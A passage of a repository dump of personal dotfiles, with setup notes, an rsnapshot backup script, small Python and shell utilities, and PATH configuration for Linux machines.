bash-related (e.g. PS1 prompt)\nsource /home/lampam/dotfiles/shell/bashrc.include\n\n# Stuff for all shells (environment vars, aliases...)\nsource /home/lampam/dotfiles/shell/common.include\n```\n\n**Important:** If this machine is accessed remotely, KEEP YOUR TERMINAL OPEN and IMMEDIATELY OPEN ANOTHER to verify that you can still log in through ssh.\n\nThe following is the **entirety** of my `~/.zshrc`:\n\n```sh\nsource /home/lampam/dotfiles/shell/zshrc.include\nsource /home/lampam/dotfiles/shell/common.include\n```\n\nMy zsh used a custom theme:\n\n```sh\nsudo ln -s dotfiles/symlinks/agnoster-exphp.zsh-theme /usr/local/share/oh-my-zsh/themes\n```\n\nSome of the functionality in my shell dotfiles may depend on the rust binaries.\n\n### Vim\n\nTo set up `~/.vim/`, see [`vim/README.md`](vim).\n\nIf you can't make it work, then *please, please, PLEASE* at the very least add this to `.vimrc` before continuing any further:\n\n```vim\n\" Remove line limit for yanking between files by redefining viminfo without the '<' option\nset viminfo='100,s10,h\n```\n\n### Miscellaneous dotfiles\n\nSome symlinks are created by `./do-misc-setup`. This script will check that certain symlinks exist (or that the files in here are at least mentioned).\n\nThis script could probably do more but I keep forgetting that it exists.\n\n### Other things to install\n\n#### Fuzzy finder on Ctrl+R\n\n```sh\nmkdir -p ~/.local/opt\ngit clone --depth 1 https://github.com/junegunn/fzf.git ~/.local/opt/fzf\nyes | ~/.local/opt/fzf/install --xdg\n\nedit .bashrc # move the fzf stuff to be BEFORE things from ~/dotfiles are sourced\n```\n\n### Rust binaries\n\nThere are some rust binaries to build and install in [`dotfiles/rust-bin`](rust-bin).\n\n### Gnu stow packages\n\nTake a peek in [`dotfiles/stow`](stow) and see if anything there is useful.\n\n### Notes\n\nMost other things in this repo are *probably* documented in [`notes.md`](notes/notes.md) (along with lots of other info for setting up a new machine).\n\n" }, { "alpha_fraction": 0.6458333134651184, "alphanum_fraction": 0.6708333492279053, "avg_line_length": 14.6304349899292, "blob_id": "1b83c4cb2ad71952cfcbb6ce60525d19ef4dc07a", "content_id": "981e02ce4fda32cad4cfc3eec2032b1af9e63326", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 720, "license_type": "no_license", "max_line_length": 48, "num_lines": 46, "path": "/stow/back-me-up/opt/back-me-up/backup-and-rotate", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nset -e\n\nif [ \"$EUID\" -ne 0 ]\n then echo \"Please run as root\"\n exit\nfi\n\nDIR=\"$(dirname \"$(readlink -f \"$0\")\")\"\n. \"$DIR/backup-vars\" || exit 1\n\nRSNAPSHOT=rsnapshot\n#RSNAPSHOT=\"rsnapshot -t\"\n\nmkdir -p \"TRIGGER_DIR\"\n\nif [ ${SYNC_FIRST} -eq 1 ]\nthen\n\techo \"Performing backup (sync)\"\n\t$RSNAPSHOT sync\n\techo Rotating $INTERVAL_0\n\t$RSNAPSHOT $INTERVAL_0\nelse\n\techo \"Performing backup (rotating $INTERVAL_0)\"\n\t$RSNAPSHOT $INTERVAL_0\nfi\n\n\nif [ -e \"$TRIGGER_1\" ]\nthen\n\techo Found trigger: $TRIGGER_1\n\techo Rotating $INTERVAL_1\n\t$RSNAPSHOT $INTERVAL_1\n\trm \"$TRIGGER_1\"\n\techo\nfi\n\nif [ -e \"$TRIGGER_2\" ]\nthen\n\techo Found trigger: $TRIGGER_2\n\techo Rotating $INTERVAL_2\n\t$RSNAPSHOT $INTERVAL_2\n\trm \"$TRIGGER_2\"\n\techo\nfi\n\n" }, { "alpha_fraction": 0.7824561595916748, "alphanum_fraction": 0.7894737124443054, "avg_line_length": 56, "blob_id": "77e20b6e866f24cf9634f822e8cc2ab72a343334", "content_id": "9071f968883bf0a46f224af1c255c697ec5b7ddf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 285, "license_type": "no_license", "max_line_length": 171, "num_lines": 5, "path": "/rust-bin/README.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# Personal rust binaries used by dotfiles\n\nSometimes python scripts are just too slow for a script used by dotfiles. (the interpreter itself has a 30ms startup time on my system, which adds up over repeated calls!)\n\nAfter installing rust, simply run `./install` to install everything.\n" }, { "alpha_fraction": 0.7200000286102295, "alphanum_fraction": 0.7200000286102295, "avg_line_length": 15.666666984558105, "blob_id": "71711392373839bf058fee18b67aee7ac1ece035", "content_id": "2edb1f2a056f67a0ccafed1ef1d3d9c9dd0f4f76", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 100, "license_type": "no_license", "max_line_length": 39, "num_lines": 6, "path": "/stow/back-me-up/etc/cron.weekly/rsnapshot_trigger_weekly", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nTRIGGER=/home/lampam/.back-me-up/WEEKLY\n\ntouch \"$TRIGGER\"\nchown lampam:lampam \"$TRIGGER\"\n" }, { "alpha_fraction": 0.4773635268211365, "alphanum_fraction": 0.4820239543914795, "avg_line_length": 19.02666664123535, "blob_id": "e2fc3b7a6b73660d215a836da82f5778b36e3a59", "content_id": "e33fd9a58fa61cac02c7699ac772daa7905d69c5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1502, "license_type": "no_license", "max_line_length": 56, "num_lines": 75, "path": "/bin/py-new", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\nimport argparse\nimport os\nimport sys\nimport stat\n\nPROG = os.path.basename(sys.argv[0])\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Make a python script.',\n )\n parser.add_argument('PATH')\n args = parser.parse_args()\n\n if os.path.exists(args.PATH):\n die('File already exists.')\n\n with open(args.PATH, 'w') as f:\n f.write(TEMPLATE)\n\n chmod_x(args.PATH)\n\nS_IXALL = stat.S_IXUSR | stat.S_IXOTH | stat.S_IXGRP\n\ndef chmod_x(path):\n st = os.stat(path)\n os.chmod(path, st.st_mode | S_IXALL)\n\n# ------------------------------------------------------\n\nTEMPLATE = '''\n#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport sys\n\nPROG = os.path.basename(sys.argv[0])\n\ndef main():\n parser = argparse.ArgumentParser(\n description='lel',\n )\n parser.add_argument('INPUT')\n args = parser.parse_args()\n\n# ------------------------------------------------------\n\ndef warn(*args, **kw):\n print(f'{PROG}:', *args, file=sys.stderr, **kw)\n\ndef die(*args, code=1):\n warn('Fatal:', *args)\n sys.exit(code)\n\n# ------------------------------------------------------\n\nif __name__ == '__main__':\n main()\n'''[1:]\n\n# ------------------------------------------------------\n\ndef warn(*args, **kw):\n print(f'{PROG}:', *args, file=sys.stderr, **kw)\n\ndef die(*args, code=1):\n warn('Fatal:', *args)\n sys.exit(code)\n\n# ------------------------------------------------------\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5333333611488342, "alphanum_fraction": 0.539393961429596, "avg_line_length": 17.33333396911621, "blob_id": "cba52bff94532da2328ea840ed8aba174ad5189b", "content_id": "2a0b158591706d9415edb38312b2b1eafcc08020", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 165, "license_type": "no_license", "max_line_length": 49, "num_lines": 9, "path": "/bin/startkde", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\nif [ \"\" != \"$(which xmodmap 2>/dev/null)\" ]; then\n if [ -e \"$HOME/.Xmodmap\" ]; then\n xmodmap \"$HOME/.Xmodmap\"\n fi\nfi\n\nexec /usr/bin/startkde\n" }, { "alpha_fraction": 0.5729684829711914, "alphanum_fraction": 0.5945273637771606, "avg_line_length": 30.736841201782227, "blob_id": "736f8537ee3a9983f0bd4a8fd424ac6947cb9e0a", "content_id": "2dc0824f7e64b55cb376bae298379cfef1ee0920", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1206, "license_type": "no_license", "max_line_length": 135, "num_lines": 38, "path": "/bin/_pacdiff-diffprog-ukhippo", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\ntrap 'rm -f $prevfile ' EXIT\n\nmktmp() { mktemp -q -p ${2:-${TMPDIR:-/tmp}} \"${1:-${0//*\\//}}.XXXXXXXX\" ; }\n\nprevfile=$(mktmp)\n\ndownload() {\n echo \" > Previous version ($2) not in pacman cache; downloading from Arch Linux Archive...\\n\"\n pushd /var/cache/pacman/pkg >/dev/null\n curl -O# http://ala.seblu.net/packages/${1::1}/$1/$1-$2-$3.pkg.tar.xz\n popd >/dev/null\n}\n\n\nif [[ \"${1##*.}\" == \"pacnew\" ]]; then\n echo \"--> Getting old version of $2\\n\"\n pkgname=$(pacman -Qqo \"$2\")\n echo \" > provided by $pkgname package\\n\"\n\n # get the from/to versions of the latest upgrade\n versions=($(awk '/upgraded '\"$pkgname\"' / {split($0,a,\"[()]\"); split(a[2],b)} END {printf \"%s %s\", b[1], b[3]}' /var/log/pacman.log))\n\n # determine package architecture\n [[ -e \"/var/cache/pacman/pkg/${pkgname}-${versions[1]}-any.pkg.tar.xz\" ]] && arch=\"any\" || arch=$HOSTTYPE\n\n # the cached 'from' package (download from ALA if missing)\n cached=\"/var/cache/pacman/pkg/${pkgname}-${versions[0]}-${arch}.pkg.tar.xz\"\n [[ ! -e $cached ]] && download $pkgname ${versions[0]} $arch\n\n # get 'from' version of the file\n tar -xOJf $cached \"${2:1}\" >| $prevfile\n\n meld \"$1\" \"$2\" \"$prevfile\"\nelse\n meld \"$1\" \"$2\"\nfi\n" }, { "alpha_fraction": 0.7550130486488342, "alphanum_fraction": 0.778552770614624, "avg_line_length": 43.11538314819336, "blob_id": "4411f4af39fb0582157a13959972a1174b546971", "content_id": "f0523f52ae0789da2f4e2d9382f0ccdfe5fbd040", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1147, "license_type": "no_license", "max_line_length": 77, "num_lines": 26, "path": "/notes/README.md", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "# Notes ([`notes.md`](notes.md))\n\nHm. This seems out of place here.\n\nWell, this is a collection of personal documentation on my computer setup\nand/or solutions to recurring problems I've encountered on the\nfollowing computers:\n\n* A ThinkPad T430, bought from my institution.\n* A hand-built gaming PC used from 2012 to as recent as march 2017.\n Initial specs were an AMD FX-8120 and a SAPPHIRE Radeon HD 7970;\n after beginning to show its age, the GPU got replaced with a\n ZOTAC GeForce GTX 1070 AMP! Edition.\n* A ThinkPad T430s to replace the old beast in bullet #1.\n\nThough it largely just assilimates instructions and tips from online sources,\nthe point is that by having all of this information in one place, it may\ngreatly reduce the time it takes me to get back up to speed on a new OS.\n\nThe vast majority of it is unlikely to be useful to anyone,\nbut you are free to browse nonetheless.\n\n(note: it may make references to files that do not exist on github,\nas I was not comfortable with just throwing the whole notes directory online,\nwhich contains various downloaded files that I don't feel like scrubbing for\npossible licensing issues)\n" }, { "alpha_fraction": 0.6605086922645569, "alphanum_fraction": 0.6647924780845642, "avg_line_length": 32.63964080810547, "blob_id": "b2f7a3ace694cef2786f556037796ee8f41e279c", "content_id": "805242059eff62136937b7ef336063521c7c2468", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 3735, "license_type": "no_license", "max_line_length": 90, "num_lines": 111, "path": "/shell/path.include", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env sh\n# vim: ft=sh\n\n# path.include\n# PATH modifications aren't something I want to limit to just interactive shell prompts.\n# This file is suitable for linkage into $XDG_CONFIG_HOME/plasma-workspace/env/.\n\nexport PATH\nexport LIBRARY_PATH\nexport LD_LIBRARY_PATH\nexport C_INCLUDE_PATH\nexport PKG_CONFIG_PATH\nexport MANPATH\n\n# this might already be there, but it also might not.\n# doesn't hurt to have it listed twice!\nPATH=$HOME/bin:$PATH\n\n# Sometimes rustup adds this, sometimes it has other things on its mind\nPATH=$HOME/.cargo/bin:$PATH\n\n# ayup\nPATH=$HOME/.local/bin:$PATH\nLIBRARY_PATH=$HOME/.local/lib:$LIBRARY_PATH\nLD_LIBRARY_PATH=$HOME/.local/lib:$LD_LIBRARY_PATH\nC_INCLUDE_PATH=$HOME/.local/include:$C_INCLUDE_PATH\nPKG_CONFIG_PATH=$HOME/.local/lib/pkgconfig:$PKG_CONFIG_PATH\nMANPATH=$HOME/.local/share/man:$MANPATH\n\n# binaries distributed inside haskell packages\n# (FIXME: why is the one prepended while the rest are appended? accidental or deliberate?)\nPATH=$PATH:$HOME/.cabal/bin\n\n# FIXME uhh... what to do about the version number?\nPATH=$HOME/.gem/ruby/2.4.0/bin/:$PATH\n\n# Newer ghc versions:\n# sudo add-apt-repository https://launchpad.net/~hvr/+archive/ubuntu/ghc\nPATH=/opt/ghc/bin:$PATH\n\n# cross compiler install location\n# NOTE: don't get your hopes up, I've still yet to successfully make one that can\n# actually produce an executable.\nPATH=/opt/cross/bin:$PATH\n\n# Binaries in this repo!\nPATH=$HOME/dotfiles/bin:$PATH\n\n# utility scripts for code that gets transferred to supercomputers.\nPATH=$HOME/syncbin:$PATH\n\n# arch linux doesn't search this path for binaries\nwhich pacman 2>/dev/null 1>/dev/null && PATH=/usr/bin/core_perl:$PATH\n\n# new idea: automatically source files named `env` located at the top of\n# an `/opt/` subdirectory\nfor __pathrc_tmp_path in /opt/*/env; do\n if [[ -x $__pathrc_tmp_path ]]; then # in case of evil no-match bash glob\n source \"$__pathrc_tmp_path\"\n fi\ndone\n\n#----------------------------------------------\n\n# ensure no empty components are in PATH-like vars,\n# because POSIX defines these as equivalent to '.',\n# because POSIX hates you.\n\n# Also remove duplicate entries if the rust bin is available.\n__pathrc__has_canonicalize_script() {\n which canonicalize-pathvar >/dev/null 2>&1 || return 1\n canonicalize-pathvar --remove-empty \"a\" >/dev/null 2>&1 || return 1\n}\n\n# despite the manpage saying \"use POSIX -E for portability\", some versions\n# of gnu sed don't support that flag, and you must use -r\n__pathrc__find_sed_E() {\n { echo a | sed -E s/a/a/ >/dev/null 2>/dev/null; } && { echo \"-E\"; return 0; }\n { echo a | sed -r s/a/a/ >/dev/null 2>/dev/null; } && { echo \"-r\"; return 0; }\n return 1\n}\n\n__pathrc__sed_E=$(__pathrc__find_sed_E) && {\n __pathrc__canonicalize() {\n if __pathrc__has_canonicalize_script; then\n canonicalize-pathvar --remove-empty -- \"$*\"\n else\n echo \"$*\" | sed $__pathrc__sed_E -e 's/^:*//' -e 's/:*$//' -e 's/:+/:/g'\n fi\n }\n PATH=$(__pathrc__canonicalize \"$PATH\")\n LIBRARY_PATH=$(__pathrc__canonicalize \"$LIBRARY_PATH\")\n LD_LIBRARY_PATH=$(__pathrc__canonicalize \"$LD_LIBRARY_PATH\")\n C_INCLUDE_PATH=$(__pathrc__canonicalize \"$C_INCLUDE_PATH\")\n PKG_CONFIG_PATH=$(__pathrc__canonicalize \"$PKG_CONFIG_PATH\")\n unset -f __pathrc__canonicalize\n\n # For MANPATH, we want to keep empty directories\n __pathrc__canonicalize() {\n if __pathrc__has_canonicalize_script; then\n canonicalize-pathvar -- \"$*\"\n else\n echo \"$*\"\n fi\n }\n MANPATH=$(__pathrc__canonicalize \"$MANPATH\")\n unset -f __pathrc__canonicalize\n}\nunset -f __pathrc__has_canonicalize_script\nunset -f __pathrc__find_sed_E\nunset __pathrc__sed_E\n\n" }, { "alpha_fraction": 0.5139821171760559, "alphanum_fraction": 0.5246084928512573, "avg_line_length": 26.090909957885742, "blob_id": "22d6e1c08406eb4f27d45260dc1775116e5fe220", "content_id": "064c7eefed2caad3dc98f2d5268a672f59721396", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3576, "license_type": "no_license", "max_line_length": 81, "num_lines": 132, "path": "/bin/probability", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nfrom textwrap import dedent\nimport argparse\nimport os\nimport sys\n\nunlines = lambda s: ' '.join(dedent(s).splitlines()).rstrip()\n\nPROG = os.path.basename(sys.argv[0])\n\ndef main():\n parser = argparse.ArgumentParser(\n description='get probability of an event happening after multiple tries',\n )\n\n n_fmt_log = [] # used to infer --chance-format\n ty = parse_chance\n ty = _record_format(n_fmt_log, ty)\n parser.add_argument(\n 'CHANCE', type=ty,\n help='Chance of event occurring in one attempt. E.g. \"0.5\" or \"50%\".',\n )\n\n parser.add_argument(\n '-n', type=parse_maybe_range(int), default=(1, 10),\n help=unlines('''\\\n Number of attempts. A range may be given in the form MIN:MAX,\n in which case a table is printed. MAX is inclusive.\n [default: 1:10]\n '''),\n )\n\n parser.add_argument(\n '-C', '--chance-format',\n choices=[\"auto\", \"percent\", \"standard\"], default=\"auto\",\n help=unlines('''\\\n Output format for probabilities. \"auto\" infers from CHANCE.\n [default: auto]\n ''')\n )\n\n args = parser.parse_args()\n chance_format = {\n 'auto': n_fmt_log.pop(0),\n 'percent': FMT_PERCENT,\n 'standard': FMT_ONE,\n }[args.chance_format]\n\n if chance_format is FMT_PERCENT:\n fmt_chance = lambda x: f'{100 * x:7.2f}%'\n elif chance_format is FMT_ONE:\n fmt_chance = lambda x: f'{x:<7.5g}'\n else: assert False, \"complete switch\"\n\n if len(args.n) == 1:\n num_trials, = args.n\n _main__single(\n chance=args.CHANCE,\n num_trials=num_trials,\n fmt_chance=fmt_chance,\n )\n elif len(args.n) == 2:\n lo, hi = args.n\n _main__table(\n chance=args.CHANCE,\n n_range=range(lo, hi+1),\n fmt_chance=fmt_chance,\n )\n else: assert False, \"complete switch\"\n\ndef _main__single(chance, num_trials, fmt_chance):\n p = compute_prob(chance, num_trials)\n print(fmt_chance(p))\n\ndef _main__table(chance, n_range, fmt_chance):\n print(\"TRIALS CHANCE\")\n for n in n_range:\n p = compute_prob(chance, n)\n print(f'{n:>5} {fmt_chance(p)}')\n\n# ------------------------------------------------------\n\ndef compute_prob(chance, num_trials, min_successes=1, max_successes=None):\n # uh... I forgot how to handle these cases.\n assert min_successes == 1, \"min_successes > 1 not yet implemented\"\n assert max_successes is None, \"max_successes not yet implemented\"\n\n return 1 - (1 - chance) ** num_trials\n\n# ------------------------------------------------------\n\ndef parse_maybe_range(ty):\n def parse(s):\n if ':' in s:\n a, b = s.split(':', 1)\n return (ty(a), ty(b))\n else:\n return (ty(s),)\n return parse\n\nFMT_PERCENT = object() # Percent format\nFMT_ONE = object() # Rate of 0 to 1\ndef _record_format(d, ty):\n assert isinstance(d, list)\n def parse(s):\n if s.endswith('%'): d.append(FMT_PERCENT)\n else: d.append(FMT_ONE)\n return ty(s)\n return parse\n\ndef parse_chance(s):\n factor = 1\n if s.endswith('%'):\n s = s[:-1]\n factor = 0.01\n\n return float(s) * factor\n\n# ------------------------------------------------------\n\ndef warn(*args, **kw):\n print(f'{PROG}:', *args, file=sys.stderr, **kw)\n\ndef die(*args, code=1):\n warn('Fatal:', *args)\n sys.exit(code)\n\n# ------------------------------------------------------\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6760563254356384, "alphanum_fraction": 0.68544602394104, "avg_line_length": 20.299999237060547, "blob_id": "e2ccbb84f89eb5fa7d40702674eb7ea290eeaa11", "content_id": "7306579493077402805011262aa1dfbe8e9d08a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 213, "license_type": "no_license", "max_line_length": 49, "num_lines": 10, "path": "/bin/ghcO2", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nGHCWRAP_PROG=$(basename $0)\nGHCWRAP_USAGE=\"Compile and run a haskell module.\"\nGHCWRAP_GHC_ARGS=(ghc -O2 -o a.out)\nGHCWRAP_RUN_ARGS=(./a.out)\nGHCWRAP_POST_ARGS=()\nGHCWRAP_INPUT_ARGS=(\"$@\")\n\n. _ghcwrap\n" }, { "alpha_fraction": 0.550000011920929, "alphanum_fraction": 0.550000011920929, "avg_line_length": 12.333333015441895, "blob_id": "d5d9c567d26c135cbfe080c8dd6a2d609f041b7d", "content_id": "2468fa832345fc071595b6ff910923305a562e9d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 40, "license_type": "no_license", "max_line_length": 20, "num_lines": 3, "path": "/bin/sane-mv", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\nset -e\nCMD=mv _sane-cp \"$@\"\n" }, { "alpha_fraction": 0.6063348650932312, "alphanum_fraction": 0.6150075197219849, "avg_line_length": 27.212766647338867, "blob_id": "259b7f28280c7cc739f43b678dd9ec6073fa9cd8", "content_id": "0ff42143c10c2f1278de917b7785fa4c5c80fc3a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2652, "license_type": "no_license", "max_line_length": 91, "num_lines": 94, "path": "/bin/brightness", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\nimport argparse\nimport os\nimport sys\n\nPROG = os.path.basename(sys.argv[0])\n\n# screen brightness setter\n# because GODDAMMIT WHY IS EVERYTHING FUCKING BROKEN ALL THE TIME\n#\n# (I don't even know whether to blame arch, KDE, this laptop, or Monokuma)\n\n# normally this would be a bash one-liner as:\n#\n# echo -n 600 | sudo tee /sys/class/backlight/intel_backlight/brightness\n#\n# but that has the troubles that 'sudo tee' is really annoying and prevents us from writing\n# the value at the end of the command where it is more easily modified,\n# and that the scale is device-dependent and can seem fairly arbitrary\n# (in my case, max_brightness is '4437'. Gross.)\n#\n# so now it is 'sudo brightness 15'\n\ndef main():\n parser = argparse.ArgumentParser(\n description='Set screen brightness even if the key control is totally b0rked',\n )\n\n parser.add_argument('-d', '--device',\n help='Full path (beginning from /) to backlight device in /sys.'\n ' Defaults to searching in /sys/class/backlight,'\n ' where it expects to find a unique entry.')\n parser.add_argument('PERCENT', type=float, help='value from 0 to 100')\n args = parser.parse_args()\n\n if args.device is None:\n args.device = search_for_backlight()\n\n BrightnessDevice(args.device).set(args.PERCENT)\n\ndef search_for_backlight():\n path = '/sys/class/backlight'\n\n children = os.listdir(path)\n\n if not children:\n die(f'No devices in {repr(path)}')\n elif len(children) == 2:\n die(f'More than one device in {repr(path)}')\n\n return os.path.join(path, children[0])\n\nclass BrightnessDevice:\n def _path(self, name):\n return os.path.join(self.root, name)\n\n def _read(self, name):\n with open(self._path(name)) as f:\n return f.read()\n\n def _write(self, name, value):\n with open(self._path(name), 'w') as f:\n f.write(str(value))\n\n def __init__(self, devpath):\n self.root = devpath\n self.max = int(self._read('max_brightness'))\n\n def set(self, percentage):\n value = clip(round(self.max * percentage / 100), (0, self.max))\n self._write('brightness', value)\n\ndef clip(value, lohi):\n lo, hi = lohi\n assert lo <= hi\n return min(max(value, lo), hi)\n\ndef set_brightness(devpath):\n os.path.join(devpath, 'max_brightness')\n\n# ------------------------------------------------------\n\ndef warn(*args, **kw):\n print(f'{PROG}:', *args, file=sys.stderr, **kw)\n\ndef die(*args, code=1):\n warn('Fatal:', *args)\n sys.exit(code)\n\n# ------------------------------------------------------\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.6309523582458496, "alphanum_fraction": 0.6309523582458496, "avg_line_length": 13, "blob_id": "40738ddd71ec56417d9aa67e4f146095d7513a03", "content_id": "c38fa3bcfe68d5461abdc112dde20b77ec4c4ad2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TOML", "length_bytes": 84, "license_type": "no_license", "max_line_length": 28, "num_lines": 6, "path": "/rust-bin/Cargo.toml", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "[workspace]\n\nmembers = [\n \"canonicalize-pathvar\",\n \"strip-stuff-before-cr\",\n]\n" }, { "alpha_fraction": 0.7708333134651184, "alphanum_fraction": 0.7708333134651184, "avg_line_length": 23, "blob_id": "466ce54b039fa978874a6dafaea7821e370e8e1b", "content_id": "61eae5f96c7e2064a1e3757e15cf16c8755e4bc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 96, "license_type": "no_license", "max_line_length": 42, "num_lines": 4, "path": "/rust-bin/install", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\ncargo install --path=canonicalize-pathvar\ncargo install --path=strip-stuff-before-cr\n" }, { "alpha_fraction": 0.7418351769447327, "alphanum_fraction": 0.7604976892471313, "avg_line_length": 21.172412872314453, "blob_id": "6f7179ade10c3067ba9af87bd9abd2fa3e06a6e5", "content_id": "68fb8547ee2dbd629778a2594e408f7d97bf8f4c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 643, "license_type": "no_license", "max_line_length": 69, "num_lines": 29, "path": "/shell/machine/matisse.include", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nmodule use $HOME/modulefiles\n\nmodule load autoconf\nmodule load automake\nmodule load binutils\nmodule load openssl\nmodule load python\nmodule load gcc\nmodule load slurm\n\nexport RUSTUP_HOME=$HOME/data/.rustup\nexport CARGO_HOME=$HOME/data/.cargo\nexport PATH=$CARGO_HOME/bin:$PATH\n\n[ \"$BASH\" ] && {\n source $HOME/opt/perl5/etc/bashrc\n perlbrew use perl-5.30.0\n}\n\n. /cm/shared/apps/intel/bin/compilervars.sh intel64\nexport PATH=/cm/shared/apps/mvapich2/intel/64/1.9/bin:$PATH\n\nexport PATH=/home/lampam/bin:$PATH\n\nexport VASP_PSP_DIR=/home/lampam/data/vasp/pseudopotentials-pymatgen/\n\nexport PATH=/home/lampam/syncbin:$PATH\n" }, { "alpha_fraction": 0.5722891688346863, "alphanum_fraction": 0.5983935594558716, "avg_line_length": 18.8799991607666, "blob_id": "122a6d9217703548f639f95e92a77de0bdb62c1a", "content_id": "baef5f6e95aecef845237fb2429a6a7c96374c12", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 498, "license_type": "no_license", "max_line_length": 67, "num_lines": 25, "path": "/bin/_fixvid--addext", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nfilename=\"$1\"\nleftname=\"${filename%.*}\"\n\nif test \"$filename\" = \"$leftname\"\nthen\n extension=\"\"\n ffprobe \"$filename\" 2>&1 | grep \"Input #0, flv\" > /dev/null\n FLVCHECK=$?\n ffprobe \"$filename\" 2>&1 | grep \"Input #0\" | grep mp4 > /dev/null\n MP4CHECK=$?\n\n [ $FLVCHECK -eq 0 ] && extension=\"flv\"\n [ $MP4CHECK -eq 0 ] && extension=\"mp4\"\n if test -z \"$extension\"\n then\n echo \"$filename\"\n else\n newname=\"$leftname.$extension\"\n echo \"$newname\"\n fi\nelse\n echo \"$filename\"\nfi\n\n" }, { "alpha_fraction": 0.5233644843101501, "alphanum_fraction": 0.5436137318611145, "avg_line_length": 21.928571701049805, "blob_id": "805eb3754583b450732fd175c9ffb366b112a079", "content_id": "3ee49132eab7a9650748b2b55d20d411c82e8d91", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 642, "license_type": "no_license", "max_line_length": 74, "num_lines": 28, "path": "/bin/fwatch", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\n# fwatch: Watch files.\n\nif [ \"$1\" == \"\" ]; then\n echo \"Usage: `basename $0` [-t WATCH_INTERVAL] [TAIL_OPTS...] FILE...\"\n exit 1\nfi\n\nOPT_WATCH_IVL=2\nOPT_LINECOUNT=25\n\nTEMP=`getopt -o :t:n: -- \"$@\"`\nif [ $? != 0 ] ; then echo \"Terminating...\" >&2 ; exit 1 ; fi\neval set -- \"$TEMP\"\nwhile true ; do\n case \"$1\" in\n -t) shift; OPT_WATCH_IVL=$1; shift;;\n -n) shift; OPT_LINECOUNT=$1; shift;;\n --) shift; break;;\n *) echo \"We dun goofed!\"; exit 1;;\n esac\ndone\n\n# ...sigh.\n# ...SIIIIIIGH.\n# Just read the notes inside '_fwatch--tail'.\nwatch \"-n$OPT_WATCH_IVL\" _fwatch--tail \"-n$OPT_LINECOUNT\" \"$@\"\n" }, { "alpha_fraction": 0.6795865893363953, "alphanum_fraction": 0.6925064325332642, "avg_line_length": 29.959999084472656, "blob_id": "c0c309ad95a856cc68d3e5f417d1e14980e800ad", "content_id": "176555d2690acd0c5fc022bc2288c0be1fd01d19", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 774, "license_type": "no_license", "max_line_length": 75, "num_lines": 25, "path": "/bin/strip-ansi", "repo_name": "ExpHP/dotfiles", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python3\n\n# (this is really just a wrapper around sed.\n# the only only purpose of using python is to provide targeted help\n# messages and prevent arbitrary flags from being forwarded to sed)\n\nimport argparse\nimport sys\nimport subprocess\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--inplace', '-i', action='store_true', help='inplace')\nparser.add_argument('FILE', nargs='*', help='Defaults to STDIN')\nargs = parser.parse_args()\n\nif not args.FILE and sys.stdout.isatty():\n print(\"No files specified, reading from STDIN...\", file=sys.stderr)\n\nsed_args = ['sed', '-r', 's/\\x1B\\[([0-9]{1,2}(;[0-9]{1,2})?)?[m|K]//g']\nif args.inplace:\n sed_args.append('-i')\nsed_args.append('--')\nsed_args.extend(args.FILE)\n\nsys.exit(subprocess.call(sed_args))\n" }, { "alpha_fraction": 0.7254098653793335, "alphanum_fraction": 0.7254098653793335, "avg_line_length": 23.399999618530273, "blob_id": "cd2682fcd5fb710367debc0fee85610d86c7897f", "content_id": 